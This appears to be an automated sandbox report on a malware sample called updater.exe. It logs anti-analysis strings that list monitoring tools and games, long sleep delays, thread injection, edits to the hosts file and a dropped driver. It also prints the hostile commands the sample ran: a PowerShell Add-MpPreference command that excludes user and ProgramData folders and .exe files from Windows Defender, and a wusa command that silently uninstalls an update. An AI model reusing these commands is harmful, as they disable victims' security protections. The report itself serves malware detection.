Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: conhost.exe, 00000027.00000003.2414325891.000002862EC26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: conhost.exe, 00000027.00000003.2414325891.000002862EC26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE#9
Source: conhost.exe, 00000027.00000003.2729787268.000002862EC60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SAVSCAN.EXE,SPIDER.EXE,XCOMMSVR.EXE,PROCMON64A.EXE,PROCMON64.EXE,PROCMON.EXE,ANVIR.EXE,REGEDIT.EXE,MRT.EXE
Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXEE_
Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MGUI.EXE, NAVAPSVC.EXE, NAVAPW32.EXE,NAVW32.EXE,NSMDTR.EXE,OFCDOG.EXE,PAV.EXE,SAVSCAN.EXE,SPIDER.EXE,XCOMMSVR.EXE,PROCMON64A.EXE,PROCMON64.EXE,PROCMON.EXE,ANVIR.EXE,REGEDIT.EXE,MRT.EXE",
Source: conhost.exe, 00000027.00000003.2729787268.000002862EC60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SAVSCAN.EXE,SPIDER.EXE,XCOMMSVR.EXE,PROCMON64A.EXE,PROCMON64.EXE,PROCMON.EXE,ANVIR.EXE,REGEDIT.EXE,MRT.EXESTEALTH-FULLSCREENALGO
Source: conhost.exe, 00000027.00000003.2729787268.000002862EC60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: XTG1DJUKBUWPY1XDKR1HBJMYAYZX1RYDALGSGF6CDTAOGZGV5AJPBWXSTEALTH-TARGETSTASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE,MODERNWARFARE.EXE,SHOOTERGAME.EXE,SHOOTERGAMESERVER.EXE,SHOOTERGAME_BE.EXE,GENSHINIMPACT.EXE,FACTORYGAME.EXE,BORDERLANDS2.EXE,ELITEDANGEROUS64.EXE,PLANETCOASTER.EXE,WARFRAME.X64.EXE,NMS.EXE,RAINBOWSIX.EXE,RAINBOWSIX_BE.EXE,CK2GAME.EXE,CK3.EXE,STELLARIS.EXE,ARMA3.EXE,ARMA3_X64.EXE,TSLGAME.EXE,FFXIV.EXE,FFXIV
Source: conhost.exe, 00000027.00000003.2729787268.000002862EC60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE,MODERNWARFARE.EXE,SHOOTERGAME.EXE,SHOOTERGAMESERVER.EXE,SHOOTERGAME_BE.EXE,GENSHINIMPACT.EXE,FACTORYGAME.EXE,BORDERLANDS2.EXE,ELITEDANGEROUS64.EXE,PLANETCOASTER.EXE,WARFRAME.X64.EXE,NMS.EXE,RAINBOWSIX.EXE,RAINBOWSIX_BE.EXE,CK2GAME.EXE,CK3.EXE,STELLARIS.EXE,ARMA3.EXE,ARMA3_X64.EXE,TSLGAME.EXE,FFXIV.EXE,FFXIV
Source: conhost.exe, 00000027.00000003.2414325891.000002862EC26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE,MODERNWARFARE.EXE,SHOOTERGAME.EXE,SHOOTERGAMESERVER.EXE,SHOOTERGAME_BE.EXE,GENSHINIMPACT.EXE,FACTORYGAME.EXE,BORDERLANDS2.EXE,ELITEDANGEROUS64.EXE,PLANETCOASTER.EXE,WARFRAME.X64.EXE,NMS.EXE,RAINBOWSIX.EXE,RAINBOWSIX_BE.EXE,CK2GAME.EXE,CK3.EXE,STELLARIS.EXE,ARMA3.EXE,ARMA3_X64.EXE,TSLGAME.EXE,FFXIV.EXE,FFXIV_DX11.EXE,GTA5.EXE,FORTNITECLIENT-WIN64-SHIPPING.EXE,R5APEX.EXE,VALORANT.EXE,CSGO.EXE,PORTALWARS-WIN64-SHIPPING.EXE,FIVEM.EXE,LEFT4DEAD2.EXE,FIFA21.EXE,BLACKOPSCOLDWAR.EXE,ESCAPEFROMTARKOV.EXE,TEKKEN 7.EXE,SRTTR.EXE,DEADBYDAYLIGHT-WIN64-SHIPPING.EXE,POINTBLANK.EXE,ENLISTED.EXE,WORLDOFTANKS.EXE,SOTGAME.EXE,FIVEM_B2189_GTAPROCESS.EXE,NARAKABLADEPOINT.EXE,RE8.EXE,SONIC COLORS - ULTIMATE.EXE,IW6SP64_SHIP.EXE,ROCKETLEAGUE.EXE,CYBERPUNK2077.EXE,FIVEM_GTAPROCESS.EXE,RUSTCLIENT.EXE,PHOTOSHOP.EXE,VIDEOEDITORPLUS.EXE,AFTERFX.EXE,LEAGUE OF LEGENDS.EXE,FALLUOT4.EXE,FARCRY5.EXE,RDR2.EXE,LITTLE_NIGHTMARES_II_ENHANCED-WIN64-SHIPPING.EXE,NBA2K22.EXE,BORDERLANDS3.EXE,LEAGUECLIENTUX.EXE,ROGUECOMPANY.EXE,TIGER-WIN64-SHIPPING.EXE,WATCHDOGSLEGION.EXE,PHASMOPHOBIA.EXE,VRCHAT.EXE,NBA2K21.EXE,NARAKABLADEPOINT.EXE,FORZAHORIZON4.EXE,ACAD.EXE,ANDROIDEMULATOREN.EXE,BF4.EXE,ZULA.EXE,ADOBE PREMIERE PRO.EXE,GENSHINIMPACT.EXE
Source: conhost.exe, 00000027.00000003.2414325891.000002862EC26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEGRAMDATA=C:

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6624	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3194	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7505
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2034

Source: C:\ProgramData\Google\Chrome\updater.exe

Dropped PE file which has not been started: C:\Windows\Temp\maoxoafwbtki.sys

Jump to dropped file

Source: C:\Windows\System32\conhost.exe

API coverage: 0.8 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2352	Thread sleep count: 6624 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2352	Thread sleep count: 3194 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3596	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2796	Thread sleep count: 7505 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2796	Thread sleep count: 2034 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6188	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\conhost.exe

Code function: 36_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,

36_2_0000000140001160

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\Google\Chrome\updater.exe	Thread register set: target process: 2568			Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Thread register set: target process: 5596			Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\updater.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe conhost.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
